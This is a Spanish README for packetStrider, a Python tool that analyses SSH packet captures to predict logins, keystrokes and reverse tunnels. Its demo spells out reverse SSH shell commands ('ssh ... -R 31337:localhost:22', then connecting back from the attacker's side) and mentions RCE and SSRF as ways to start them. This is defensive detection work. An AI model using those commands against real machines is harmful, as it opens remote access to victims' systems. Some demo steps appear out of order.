
Una herramienta de análisis forense de paquetes de red para SSH

packetStrider para SSH es una herramienta de análisis forense de paquetes que busca proporcionar información valiosa sobre la naturaleza del tráfico SSH, iluminando los rincones del tráfico de red SSH donde antes yacían pepitas de oro de información en la oscuridad.
SSH está obviamente cifrado, sin embargo, aún existe información contextual valiosa dentro del tráfico de red que puede contribuir a TTP, intención, éxito y magnitud de las acciones sobre los objetivos. Puede incluso haber situaciones donde el contexto valioso no está disponible o ha sido eliminado de los hosts, por lo que tener una captura de red pasiva inmutable e inalterable proporciona contexto forense adicional. "Los paquetes no mienten".
Independientemente del contexto forense, las predicciones de packet strider también podrían usarse de forma activa, por ejemplo, para rechazar/RST conexiones de reenvío si se predice una característica de inicio de sesión SSH inversa tunelada, incluso antes de que se ofrezca la autenticación inversa.
Se ha usado Python3, y necesitará los siguientes módulos (YMMV en python2)
pip3 install pandas matplotlib pyshark
Uso:
python3 packetStrider-ssh.py -h
Salida:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh es una herramienta forense de paquetes para SSH. Crea un
conjunto rico de características a partir de metadatos de paquetes como
contenido de mensajes del protocolo SSH, dirección, tamaño, latencia y
secuenciación. Realiza coincidencia de patrones en estas características,
usando análisis estadístico y ventanas deslizantes para predecir inicio de
sesión, pulsaciones de teclas, comportamiento humano/script, longitud de
contraseña, uso de certificados de cliente, contexto sobre la naturaleza
histórica del contacto cliente/servidor y características de movimiento de
datos de exfiltración/infiltración tanto en sesiones de reenvío como inversas
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-f FILE, --file FILE archivo pcap a analizar
-n NSTREAM, --nstream NSTREAM
Realiza análisis solo en el flujo n
-m, --metaonly Muestra solo metadatos del flujo
-k, --keystrokes Realiza predicción de pulsaciones de teclas
-p, --predict_plot Grafica movimiento de datos y pulsaciones de teclas
-z ZOOM, --zoom ZOOM Reduce/enfoca el análisis y el gráfico solo a los
paquetes "x-y"
-d DIRECTION, --direction DIRECTION
Realiza análisis en la dirección SSH: "forward",
"reverse" O "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directorio para generar los gráficos
-w WINDOW, --window WINDOW
Tamaño de la ventana deslizante, número de paquetes a
cada lado del paquete central, por defecto es 2
-s STRIDE, --stride STRIDE
Paso entre ventanas deslizantes, por defecto es 1
El pcap "forward_reverse.pcap" proviene de un TTP común de un shell SSH inverso, un favorito de los equipos rojos en todas partes. Específicamente se usaron los siguientes comandos, para resaltar las capacidades de packet strider de manera simple:
Conexión directa desde la víctima
ssh [email protected] -R 31337:localhost:22 que enlaza el puerto local 31337 listo para la conexión SSH inversa de vuelta al PC víctima. Esta conexión se puede realizar de muchas maneras, incluyendo manualmente, mediante un RCE, SSRF o alguna forma de persistencia. Para el propósito de esta demostración, es una sesión directa manual estándar.ls se escribe en la sesión directa, en esta secuencia: 'l' 'w' 'w' 'back-space' 'back-space' 's' y luego enter. El tamaño total de datos transmitidos a través de la red (como la salida de ls) se clasifica como infiltración, dado que es entrante.Ahora en la máquina del atacante (el servidor), se inicia un shell inverso de vuelta a la víctima:
ssh victim@localhost -p 31337. En este punto, que es incluso antes de que comience el proceso de autenticación, packet strider ha identificado el inicio de la sesión SSH inversa, en el paquete 72last se ejecuta en forma de pulsaciones de teclas 'l' 'a' 's' 'r' 'delete' 't' 'enter'who se ejecuta en forma de 'enter'El tráfico de red de esta actividad se guarda en tcpdump.pcap y ahora es el momento de ejecutar Packet Strider.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Este gráfico muestra una línea de tiempo de predicciones clave (la imagen ha sido anotada aquí)

Este gráfico muestra algunas estadísticas de ventana, útil para un análisis profundo y experimentación con características.

Este gráfico muestra un histograma simple

Este proyecto se realizó como una Prueba de Concepto personal, como una forma de practicar con algunas bibliotecas de ciencia de datos en Python; fue fuertemente inspirado por mis estudios de Coursera en Aprendizaje Automático y Ciencia de Datos, en particular la biblioteca pandas y la forma en que las Redes Neuronales Convolucionales (CNN) "recorren" conjuntos de píxeles de imágenes usando ventanas deslizantes para detectar ciertas características dentro de ellas.
Packet Strider realiza una gran cantidad de "recorridos" en modo de capacidad completa. Esto puede resultar en un uso sustancial de recursos si el pcap es grande, o más precisamente si hay muchos paquetes en el pcap. Aquí hay algunos consejos para acelerar, que son particularmente útiles para una ejecución inicial, por ejemplo, solo para ver si se predijo actividad SSH inversa, y luego agregar funcionalidad si se desea.
Úselo bajo su propio riesgo. Consulte los términos de la Licencia.
exit se ejecuta en forma de 'e' 'x' 'i' 't'Finalmente, con la sesión directa, la sesión se cierra, solo para demostrar que la detección de características SSH de reenvío aún funciona.
exit